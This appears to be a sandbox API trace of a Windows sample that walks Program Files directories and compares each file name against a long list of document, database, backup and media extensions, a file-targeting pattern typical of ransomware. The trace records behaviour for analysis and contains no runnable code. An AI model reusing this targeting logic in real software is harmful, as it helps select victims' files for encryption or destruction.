	[0258.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0258.188] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.188] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0258.188] FindClose (in: hFindFile=0x41b2310 | out: hFindFile=0x41b2310) returned 1
	[0258.189] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3a80080 | out: hHeap=0x4a0000) returned 1
	[0258.189] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91c40a0, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91c40a0, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1
	[0258.244] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.245] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0258.245] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Windows Photo Viewer\\en-US") returned 1
	[0258.245] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x42c9c88
	[0258.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0258.271] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.271] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1
	[0258.272] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0258.272] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0258.272] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0258.272] FindClose (in: hFindFile=0x41b2310 | out: hFindFile=0x41b2310) returned 1
	[0258.272] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3a80080 | out: hHeap=0x4a0000) returned 1
	[0258.272] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf9177de0, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf9177de0, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1
	[0258.272] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3a80080
	[0258.272] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf9177de0, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf9177de0, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0258.273] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf9177de0, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf9177de0, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.273] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84174220, ftCreationTime.dwHighDateTime=0x1d4d461, ftLastAccessTime.dwLowDateTime=0xe129ff10, ftLastAccessTime.dwHighDateTime=0x1d53015, ftLastWriteTime.dwLowDateTime=0xe129ff10, ftLastWriteTime.dwHighDateTime=0x1d53015, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="program.exe", cAlternateFileName="")) returned 1
	[0258.273] FindClose (in: hFindFile=0x41b2310 | out: hFindFile=0x41b2310) returned 1
	[0258.273] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3a80080 | out: hHeap=0x4a0000) returned 1
	[0258.273] FindNextFileW (in: hFindFile=0x518b00, lpFindFileData=0x324fa84 | out: lpFindFileData=0x324fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1
	[0258.273] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3a80080
	[0258.273] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2310
	[0258.274] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf91ea200, ftLastAccessTime.dwHighDateTime=0x1d542e5, ftLastWriteTime.dwLowDateTime=0xf91ea200, ftLastWriteTime.dwHighDateTime=0x1d542e5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.274] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7b4370, ftCreationTime.dwHighDateTime=0x1d4c8cc, ftLastAccessTime.dwLowDateTime=0x199561a0, ftLastAccessTime.dwHighDateTime=0x1d4bff5, ftLastWriteTime.dwLowDateTime=0x199561a0, ftLastWriteTime.dwHighDateTime=0x1d4bff5, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="allowance.exe", cAlternateFileName="ALLOWA~1.EXE")) returned 1
	[0258.274] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x42c9c88
	[0258.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*", lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0258.274] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.274] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1
	[0258.274] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0258.274] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0258.274] FindNextFileW (in: hFindFile=0x41b2310, lpFindFileData=0x324f808 | out: lpFindFileData=0x324f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0258.275] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x42c9c88
	[0258.275] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0258.300] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.300] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x324f58c | out: lpFindFileData=0x324f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="CALEND~1.GAD")) returned 1
	[0258.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0258.309] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.311] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x324f310 | out: lpFindFileData=0x324f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x27ed4187, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1
	[0258.314] lstrlenW (lpString="drag.png") returned 8
	[0258.314] lstrlenW (lpString=".1cd") returned 4
	[0258.316] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1
	[0258.316] lstrlenW (lpString=".3ds") returned 4
	[0258.317] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1
	[0258.318] lstrlenW (lpString=".3fr") returned 4
	[0258.320] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1
	[0258.320] lstrlenW (lpString=".3g2") returned 4
	[0258.352] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1
	[0258.352] lstrlenW (lpString=".3gp") returned 4
	[0258.352] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1
	[0258.352] lstrlenW (lpString=".7z") returned 3
	[0258.352] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1
	[0258.352] lstrlenW (lpString=".accda") returned 6
	[0258.352] lstrcmpiW (lpString1=".accda", lpString2="ag.png") returned -1
	[0258.352] lstrlenW (lpString=".accdb") returned 6
	[0258.352] lstrcmpiW (lpString1=".accdb", lpString2="ag.png") returned -1
	[0258.352] lstrlenW (lpString=".accdc") returned 6
	[0258.352] lstrcmpiW (lpString1=".accdc", lpString2="ag.png") returned -1
	[0258.352] lstrlenW (lpString=".accde") returned 6
	[0258.352] lstrcmpiW (lpString1=".accde", lpString2="ag.png") returned -1
	[0258.352] lstrlenW (lpString=".accdt") returned 6
	[0258.352] lstrcmpiW (lpString1=".accdt", lpString2="ag.png") returned -1
	[0258.352] lstrlenW (lpString=".accdw") returned 6
	[0258.352] lstrcmpiW (lpString1=".accdw", lpString2="ag.png") returned -1
	[0258.352] lstrlenW (lpString=".adb") returned 4
	[0258.352] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1
	[0258.352] lstrlenW (lpString=".adp") returned 4
	[0258.352] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1
	[0258.352] lstrlenW (lpString=".ai") returned 3
	[0258.352] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1
	[0258.352] lstrlenW (lpString=".ai3") returned 4
	[0258.352] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1
	[0258.352] lstrlenW (lpString=".ai4") returned 4
	[0258.353] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1
	[0258.353] lstrlenW (lpString=".ai5") returned 4
	[0258.353] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1
	[0258.353] lstrlenW (lpString=".ai6") returned 4
	[0258.353] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1
	[0258.353] lstrlenW (lpString=".ai7") returned 4
	[0258.353] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1
	[0258.353] lstrlenW (lpString=".ai8") returned 4
	[0258.353] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1
	[0258.353] lstrlenW (lpString=".anim") returned 5
	[0258.353] lstrcmpiW (lpString1=".anim", lpString2="g.png") returned -1
	[0258.353] lstrlenW (lpString=".arw") returned 4
	[0258.353] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1
	[0258.353] lstrlenW (lpString=".as") returned 3
	[0258.353] lstrcmpiW (lpString1=".as", lpString2="png") returned -1
	[0258.353] lstrlenW (lpString=".asa") returned 4
	[0258.353] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1
	[0258.353] lstrlenW (lpString=".asc") returned 4
	[0258.353] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1
	[0258.353] lstrlenW (lpString=".ascx") returned 5
	[0258.353] lstrcmpiW (lpString1=".ascx", lpString2="g.png") returned -1
	[0258.353] lstrlenW (lpString=".asm") returned 4
	[0258.353] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1
	[0258.353] lstrlenW (lpString=".asmx") returned 5
	[0258.353] lstrcmpiW (lpString1=".asmx", lpString2="g.png") returned -1
	[0258.353] lstrlenW (lpString=".asp") returned 4
	[0258.353] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".aspx") returned 5
	[0258.354] lstrcmpiW (lpString1=".aspx", lpString2="g.png") returned -1
	[0258.354] lstrlenW (lpString=".asr") returned 4
	[0258.354] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".asx") returned 4
	[0258.354] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".avi") returned 4
	[0258.354] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".avs") returned 4
	[0258.354] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".backup") returned 7
	[0258.354] lstrcmpiW (lpString1=".backup", lpString2="rag.png") returned -1
	[0258.354] lstrlenW (lpString=".bak") returned 4
	[0258.354] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".bay") returned 4
	[0258.354] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".bd") returned 3
	[0258.354] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1
	[0258.354] lstrlenW (lpString=".bin") returned 4
	[0258.354] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".bmp") returned 4
	[0258.354] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".bz2") returned 4
	[0258.354] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".c") returned 2
	[0258.354] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1
	[0258.354] lstrlenW (lpString=".cdr") returned 4
	[0258.354] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".cer") returned 4
	[0258.354] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1
	[0258.354] lstrlenW (lpString=".cf") returned 3
	[0258.354] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1
	[0258.354] lstrlenW (lpString=".cfc") returned 4
	[0258.355] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".cfm") returned 4
	[0258.355] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".cfml") returned 5
	[0258.355] lstrcmpiW (lpString1=".cfml", lpString2="g.png") returned -1
	[0258.355] lstrlenW (lpString=".cfu") returned 4
	[0258.355] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".chm") returned 4
	[0258.355] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".cin") returned 4
	[0258.355] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".class") returned 6
	[0258.355] lstrcmpiW (lpString1=".class", lpString2="ag.png") returned -1
	[0258.355] lstrlenW (lpString=".clx") returned 4
	[0258.355] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".config") returned 7
	[0258.355] lstrcmpiW (lpString1=".config", lpString2="rag.png") returned -1
	[0258.355] lstrlenW (lpString=".cpp") returned 4
	[0258.355] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".cr2") returned 4
	[0258.355] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".crt") returned 4
	[0258.355] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".crw") returned 4
	[0258.355] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".cs") returned 3
	[0258.355] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1
	[0258.355] lstrlenW (lpString=".css") returned 4
	[0258.355] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".csv") returned 4
	[0258.355] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".cub") returned 4
	[0258.355] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1
	[0258.355] lstrlenW (lpString=".dae") returned 4
	[0258.356] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".dat") returned 4
	[0258.356] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".db") returned 3
	[0258.356] lstrcmpiW (lpString1=".db", lpString2="png") returned -1
	[0258.356] lstrlenW (lpString=".dbf") returned 4
	[0258.356] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".dbx") returned 4
	[0258.356] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".dc3") returned 4
	[0258.356] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".dcm") returned 4
	[0258.356] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".dcr") returned 4
	[0258.356] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".der") returned 4
	[0258.356] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".dib") returned 4
	[0258.356] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".dic") returned 4
	[0258.356] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".dif") returned 4
	[0258.356] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1
	[0258.356] lstrlenW (lpString=".divx") returned 5
	[0258.356] lstrcmpiW (lpString1=".divx", lpString2="g.png") returned -1
	[0258.356] lstrlenW (lpString=".djvu") returned 5
